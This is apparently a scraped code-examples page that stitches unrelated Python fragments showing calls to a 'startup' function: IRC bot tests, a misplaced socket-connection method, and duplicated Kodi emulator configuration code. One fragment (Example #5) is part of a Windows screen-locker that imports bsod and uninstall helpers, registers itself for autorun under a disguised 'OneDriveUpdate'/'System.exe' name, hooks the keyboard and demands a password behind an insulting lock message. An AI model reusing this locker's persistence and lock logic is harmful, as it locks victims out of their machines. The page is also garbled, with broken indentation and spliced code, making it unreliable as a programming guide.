def test_include():
    import modules
    reload(modules)
    parser = parser.parser()
    modules.startup(parser)
    assert modules.modules.keys()[0] == 'admin_disconnect'
    modules.shutdown(parser)
def test_includes_excludes_both_not_empty():
    import modules
    reload(modules)
    parser = parser.parser()
    modules.startup(parser)
    assert modules.modules == {}
    modules.shutdown(parser)
def test_startup_shutdown():
    import modules
    parser = parser.parser()
    assert modules.modules == {}
    modules.startup(parser)
    assert modules.modules != {}
    modules.shutdown(parser)
    assert modules.modules == {}
    def connect_to_irc(self):
        """Connects to the server set in configuration file."""

        asynchat.async_chat.__init__(self)
        logging.debug('Asynchat initialized')
        self.set_terminator("\r\n")
        self.ibuffer = ''
        self.obuffer = deque([])
        self.create_socket(socket.AF_INET, socket.SOCK_STREAM)
        logging.debug('Socket initialized')
        self.connect((self.configuration['server'],
                      self.configuration['port']))
        logging.info('Connected to: ' + self.configuration['server'])
        modules.startup(self.msg_parser)
Example #5
0
from modules import bsod, startup, uninstall, remove

import os
import shutil
import keyboard
import sys

password = "******"
lock_text = "windows blocked.tobi pizda"
count = 3
#name = "lock.py"


file_path = os.getcwd() + "\\" + os.path.basename(sys.argv[0])
#AddToAutorun("OneDriveUpdate", "C:\\ProgramData\\", "System.exe")
startup(file_path)


def buton(arg):
	enter_pass.insert(END, arg)
def delbuton():
	enter_pass.delete(-1, END)


def tapp(key):
	pass

def check():
	global count
	if enter_pass.get() == password:
		messagebox.showinfo("HELLOCKER","UNLOCKED SUCCESSFULLY")
Example #6
0
static_L.append(rom_path)
staticL.append('overlay_directory')
static_L.append(config_path)

staticL.append('config_save_on_exit')
static_L.append('true')
staticL.append('fps_show')
static_L.append('false')
staticL.append('core_specific_config')
if systemplatformwindows:
    static_L.append('false')
else:
    static_L.append('true')
staticL.append('libretro_log_level')
static_L.append('0')
staticL.append('input_autodetect_enable')
static_L.append('true')
staticL.append('input_driver')
if systemplatformwindows:
    static_L.append('dinput')
else:
    static_L.append('linuxraw')

download1L = ['Arcade', 'Sony Playstation']

emu_startup = xbmc.getInfoLabel('Window(home).Property(emu_startup)')

if emu_startup == "":
    from modules import startup
    startup()
Example #7
0
staticL.append('savefile_directory') ; static_L.append(save_path)
staticL.append('savestate_directory') ; static_L.append(savestate_path)
staticL.append('content_directory') ; static_L.append(rom_path)
staticL.append('rgui_browser_directory') ; static_L.append(rom_path)
staticL.append('overlay_directory') ; static_L.append(config_path)


staticL.append('config_save_on_exit') ; static_L.append('true')
staticL.append('fps_show') ; static_L.append('false')
staticL.append('core_specific_config')
if systemplatformwindows:
	static_L.append('false')
else:
	static_L.append('true')
staticL.append('libretro_log_level') ; static_L.append('0')
staticL.append('input_autodetect_enable') ; static_L.append('true')
staticL.append('input_driver')
if systemplatformwindows:
	static_L.append('dinput')
else:
	static_L.append('linuxraw')


download1L = ['Arcade', 'Sony Playstation']

emu_startup = xbmc.getInfoLabel('Window(home).Property(emu_startup)')

if emu_startup == "":
	from modules import startup
	startup()